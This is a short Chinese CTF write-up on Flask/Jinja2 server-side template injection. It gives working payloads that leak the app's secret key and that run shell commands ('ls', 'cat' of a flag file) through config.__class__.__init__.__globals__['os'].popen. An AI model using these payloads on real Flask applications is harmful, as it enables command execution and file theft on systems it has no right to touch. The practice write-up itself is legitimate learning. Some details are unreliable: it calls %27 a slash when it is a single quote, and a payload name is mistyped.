本文章仅作记录用,写的不会很详细,但是如果大家哪里不会可以评论或者私信,互相交流再说一句,本人很菜,共同进步。
这里推荐2个较经典的模板注入例子,漏洞+一道经典的CTF题目
【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_AAAAAAAAAAAA66的博客-CSDN博客
i春秋 afr3 任意文件读取 SSTI flask模板注入 session伪造 详细题解_AAAAAAAAAAAA66的博客-CSDN博客
1. Simple_SSTI_2
题目明显的模板注入,模板注入之前做过一道,但还是没啥经验。。。
首页显示一句英文 意思是要传一个flag的参数 F12 查看源码 提示secret_key文件
看完大佬的write up发现直接输入 config.secret_key即可 (但这里需要大写)
这里估计是考对模板注入下各配置文件的熟悉
最终payload
?flag={{config_SECRET_KEY}}
得到flag
2.Simple_SSTI_2
进去发现还是得去传参,但是按F12没有任何提示,所以联想到命令执行,因为之前就做过类似的一道命令执行,xjb 执行个ls ,发现不行,报错了(还是对模板注入没有深入的认识),不头铁,看大佬的write up,发现命令执行调用的函数和我的有点不同(得学学了。。)
报错
正确解法
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
命令执行ls %20是空格 %27是/ URL编码问题不多叙述了
一个一个文件打开来找呗。。。(其实打开第一个app文件就找到了)
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}
打开app文件下的flag文件,最终得到flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
总结
很简单的python flask 模板注入题目,但是考察的是对config文件的理解,但其实对于我自己来说,如果不看之前的write up 其实做不出来,需要对flask框架有着更深的认识,但这显然是我缺少的,以后得花时间多了解一下。
寒假不摆烂